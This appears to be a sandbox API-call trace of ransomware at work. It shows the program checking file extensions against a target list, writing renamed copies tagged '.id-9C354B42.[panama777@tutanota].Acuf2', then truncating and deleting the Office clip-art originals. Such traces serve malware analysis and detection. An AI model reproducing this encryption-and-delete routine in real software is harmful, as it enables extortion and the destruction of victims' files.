	[0256.543] lstrlenW (lpString=".7z") returned 3
	[0256.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.543] lstrlenW (lpString=".dbf") returned 4
	[0256.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.543] lstrlenW (lpString=".1cd") returned 4
	[0256.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.543] lstrlenW (lpString=".jpg") returned 4
	[0256.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.543] lstrlenW (lpString=".doc") returned 4
	[0256.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString=".docx") returned 5
	[0256.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.543] lstrlenW (lpString=".pdf") returned 4
	[0256.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.543] lstrlenW (lpString=".xls") returned 4
	[0256.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.543] lstrlenW (lpString=".xlsx") returned 5
	[0256.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.543] lstrlenW (lpString=".ppt") returned 4
	[0256.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.544] lstrlenW (lpString=".zip") returned 4
	[0256.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.544] lstrlenW (lpString=".rar") returned 4
	[0256.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.544] lstrlenW (lpString=".bz2") returned 4
	[0256.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.544] lstrlenW (lpString=".7z") returned 3
	[0256.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.544] lstrlenW (lpString=".dbf") returned 4
	[0256.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.544] lstrlenW (lpString=".1cd") returned 4
	[0256.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63
	[0256.544] lstrlenW (lpString=".jpg") returned 4
	[0256.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.544] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.544] lstrlenW (lpString="BL00045_.WMF") returned 12
	[0256.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.545] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7862) returned 1
	[0256.545] CloseHandle (hObject=0x354) returned 1
	[0256.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20
	[0256.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.545] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.545] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.546] GetLastError () returned 0x0
	[0256.546] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1eb6, lpOverlapped=0x0) returned 1
	[0256.547] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1ec0, lpOverlapped=0x0) returned 1
	[0256.548] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.548] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.548] SetEndOfFile (hFile=0x35c) returned 1
	[0256.548] CloseHandle (hObject=0x35c) returned 1
	[0256.548] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.549] SetEndOfFile (hFile=0x354) returned 1
	[0256.551] CloseHandle (hObject=0x354) returned 1
	[0256.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1
	[0256.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.552] lstrlenW (lpString=".doc") returned 4
	[0256.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString=".docx") returned 5
	[0256.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.553] lstrlenW (lpString=".pdf") returned 4
	[0256.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString=".xls") returned 4
	[0256.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.553] lstrlenW (lpString=".xlsx") returned 5
	[0256.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.553] lstrlenW (lpString=".ppt") returned 4
	[0256.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.553] lstrlenW (lpString=".zip") returned 4
	[0256.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.553] lstrlenW (lpString=".rar") returned 4
	[0256.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString=".bz2") returned 4
	[0256.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString=".7z") returned 3
	[0256.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.553] lstrlenW (lpString=".dbf") returned 4
	[0256.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.553] lstrlenW (lpString=".1cd") returned 4
	[0256.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.553] lstrlenW (lpString=".jpg") returned 4
	[0256.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString=".doc") returned 4
	[0256.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString=".docx") returned 5
	[0256.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.554] lstrlenW (lpString=".pdf") returned 4
	[0256.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString=".xls") returned 4
	[0256.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.554] lstrlenW (lpString=".xlsx") returned 5
	[0256.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.554] lstrlenW (lpString=".ppt") returned 4
	[0256.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString=".zip") returned 4
	[0256.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.554] lstrlenW (lpString=".rar") returned 4
	[0256.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString=".bz2") returned 4
	[0256.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString=".7z") returned 3
	[0256.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString=".dbf") returned 4
	[0256.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString=".1cd") returned 4
	[0256.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63
	[0256.554] lstrlenW (lpString=".jpg") returned 4
	[0256.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.555] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.555] lstrlenW (lpString="BL00098_.WMF") returned 12
	[0256.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.555] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1012) returned 1
	[0256.555] CloseHandle (hObject=0x354) returned 1
	[0256.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20
	[0256.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.555] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.555] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.556] GetLastError () returned 0x0
	[0256.556] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x3f4, lpOverlapped=0x0) returned 1
	[0256.557] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x400, lpOverlapped=0x0) returned 1
	[0256.558] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.558] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.558] SetEndOfFile (hFile=0x35c) returned 1
	[0256.559] CloseHandle (hObject=0x35c) returned 1
	[0256.559] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.559] SetEndOfFile (hFile=0x354) returned 1
	[0256.561] CloseHandle (hObject=0x354) returned 1
	[0256.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1
	[0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.562] lstrlenW (lpString=".doc") returned 4
	[0256.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString=".docx") returned 5
	[0256.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.562] lstrlenW (lpString=".pdf") returned 4
	[0256.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString=".xls") returned 4
	[0256.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.562] lstrlenW (lpString=".xlsx") returned 5
	[0256.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.562] lstrlenW (lpString=".ppt") returned 4
	[0256.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.562] lstrlenW (lpString=".zip") returned 4
	[0256.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.562] lstrlenW (lpString=".rar") returned 4
	[0256.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString=".bz2") returned 4
	[0256.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString=".7z") returned 3
	[0256.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.562] lstrlenW (lpString=".dbf") returned 4
	[0256.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.562] lstrlenW (lpString=".1cd") returned 4
	[0256.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.563] lstrlenW (lpString=".jpg") returned 4
	[0256.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.563] lstrlenW (lpString=".doc") returned 4
	[0256.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString=".docx") returned 5
	[0256.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.563] lstrlenW (lpString=".pdf") returned 4
	[0256.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString=".xls") returned 4
	[0256.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.563] lstrlenW (lpString=".xlsx") returned 5
	[0256.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.563] lstrlenW (lpString=".ppt") returned 4
	[0256.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.563] lstrlenW (lpString=".zip") returned 4
	[0256.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.563] lstrlenW (lpString=".rar") returned 4
	[0256.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString=".bz2") returned 4
	[0256.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString=".7z") returned 3
	[0256.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.563] lstrlenW (lpString=".dbf") returned 4
	[0256.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.564] lstrlenW (lpString=".1cd") returned 4
	[0256.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63
	[0256.564] lstrlenW (lpString=".jpg") returned 4
	[0256.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.564] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.564] lstrlenW (lpString="BL00105_.WMF") returned 12
	[0256.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.565] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=880) returned 1
	[0256.565] CloseHandle (hObject=0x354) returned 1
	[0256.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20
	[0256.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0256.565] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.565] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0256.566] GetLastError () returned 0x0
	[0256.566] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x370, lpOverlapped=0x0) returned 1
	[0256.729] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x380, lpOverlapped=0x0) returned 1
	[0256.730] ReadFile (in: hFile=0x354, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.730] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.730] SetEndOfFile (hFile=0x35c) returned 1
	[0256.730] CloseHandle (hObject=0x35c) returned 1
	[0256.730] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.730] SetEndOfFile (hFile=0x354) returned 1
	[0256.734] CloseHandle (hObject=0x354) returned 1
	[0256.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1
	[0256.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.734] lstrlenW (lpString=".doc") returned 4
	[0256.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.734] lstrlenW (lpString=".docx") returned 5
	[0256.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.735] lstrlenW (lpString=".pdf") returned 4
	[0256.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString=".xls") returned 4
	[0256.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.735] lstrlenW (lpString=".xlsx") returned 5
	[0256.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.735] lstrlenW (lpString=".ppt") returned 4
	[0256.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
	[0256.735] lstrlenW (lpString=".zip") returned 4
	[0256.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.735] lstrlenW (lpString=".rar") returned 4
	[0256.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString=".bz2") returned 4
	[0256.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.735] lstrlenW (lpString=".7z") returned 3
	[0256.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63
